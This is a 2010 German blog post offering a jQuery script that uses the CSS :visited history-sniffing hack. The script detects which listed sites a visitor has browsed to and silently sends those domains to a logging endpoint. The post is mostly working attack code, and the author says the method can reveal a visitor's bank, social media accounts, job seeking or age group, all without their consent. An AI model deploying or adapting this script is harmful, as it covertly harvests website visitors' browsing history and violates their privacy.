Abro, Februar 2010

jQuery CSS History Hack

jquery+css to hack the browser-history

Vielen Webdesignern und -Entwicklern dürfte der CSS History Hack bereits seit Jahren bekannt sein. Nach der letzten Folge seoFM (wow baby), dem korrespondierenden Blogpost “Conversion Optimierung mittels Usererkennung” vom Bösen SEO, Beiträgen auf Heise / Spiegel / IT-Republik und einer neuen Version, die vor kurzem publiziert wurde, kam ich nicht umher noch einmal kurz mit dem Hack herum zuspielen.

Alright then – gibt’s da schon was für jQuery? Nein? Kay…I’m in!

Ich habe mir mal das Beispiel vom Bösen SEO rausgeschnappt (“Wenn ich eine Hotelwebsite habe und gerne Werbebanner passend zu den Reisevorlieben des Besuchers anzeigen möchte – Bahn/Flugzeug, dann könnte man usw.”).

Im Grunde kann man damit alles Mögliche machen, wenn man genug kriminelle Energie hat – wie es die Behörden nennen würden ;o). Man kann das Bankinstitut herausfinden, den Usernamen bei SocialMedia-Portalen, ob Filesharer, arbeitssuchend oder nicht, die Altersgruppe oder einfach nur besuchte Konkurrenzwebsites.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* jquery.css.history.hack
*
* did:
* - ff      (tested 3.6)
* - ie      (tested 8.0)
* - opera   (tested 9.6)
* - chrome  (tested 4.0)
* didn't:
* - safari  (tested 4.0)
*/
jQuery(function($)
{
  var urls    = [
        'http://www.bahn.de/p/view/index.shtml',
        'http://www.expedia.de/',
        'http://www.swoodoo.com/de/',
        'http://www.opodo.de/'
      ],
      $testarea = $(
         '<div id="testarea">'
        +' <style type="text/css">'
        +'  #testarea {display:none;}'
        +'  #testarea a{text-decoration:none;}'
        +'  #testarea a:visited{text-decoration:underline;}'
        +' </style>'
        +' <a href="'+urls.join('">x</a><a href="')+'">x</a>'
        +'</div>'
      ).appendTo('body');
 
  urls = [];
  $testarea.find('a').each(function()
  {
    if( $(this).css('textDecoration') === 'underline' )
    {
      urls.push( $(this).attr('href').match(/[^/]+/g)[1] );
    }
  }).end().remove();
 
  $.get('log.php',{'domains_num':urls.length,'domains':urls});
});

Das ist jetzt mal grob hingekritzelt, tuts aber. Habe ziemlich konfus dreingeschaut warum die meisten bekannten Versionen für jeden Link eine extra CSS-Regel festlegen und den Hack nur via Hidden-IFrame userfreundlich durchführen können. Auch wenn man mit obigem jQuery-Script im unteren dreistelligen URL-Bereich bleiben sollte, wundert’s mich doch nicht dass die anderen so extrem langsam sind…

Es versteht sich übrigens wohl von selbst, warum ich da jetzt kein Plugin draus gemacht habe. Auch wenn es nur noch zwei Handgriffe wären… Ihr sollt etwas lernen und freudig mit mir diskutieren statt Quatsch zu machen *zwinker*



Ein kreativer Kommentar

  1. […] Effektive Steigerung der Conversion Rate mittels Browserhistory. Seit letzte Woche bei seoFM über das Thema berichtet wurde, hat es viele nicht mehr losgelassen: die Idee, das Proof of Concept mit jQuery […]

Kommentare sind geschlossen.
Aufgrund interner Umstrukturierungsmaßnahmen ist es uns z.Zt. leider nicht
möglich auf neue Kommentare zu reagieren. Wir bitten dies zu entschuldigen.
Bei dringenden Rückfragen suchen Sie bitten den direkten Kontakt zu uns.
Das Unternehmen Lucido Media GbR wurde am 31.12.2013 stillgelegt. Diese Website existiert weiterhin zu Archivzwecken. Der Gesellschafter Daniel Abromeit führt seine Arbeit ab sofort unter dem Dach der Agentur Koch Essen fort. Für entsprechende Anfragen wenden Sie sich daher bitte an http://koch-essen.de/kontakt/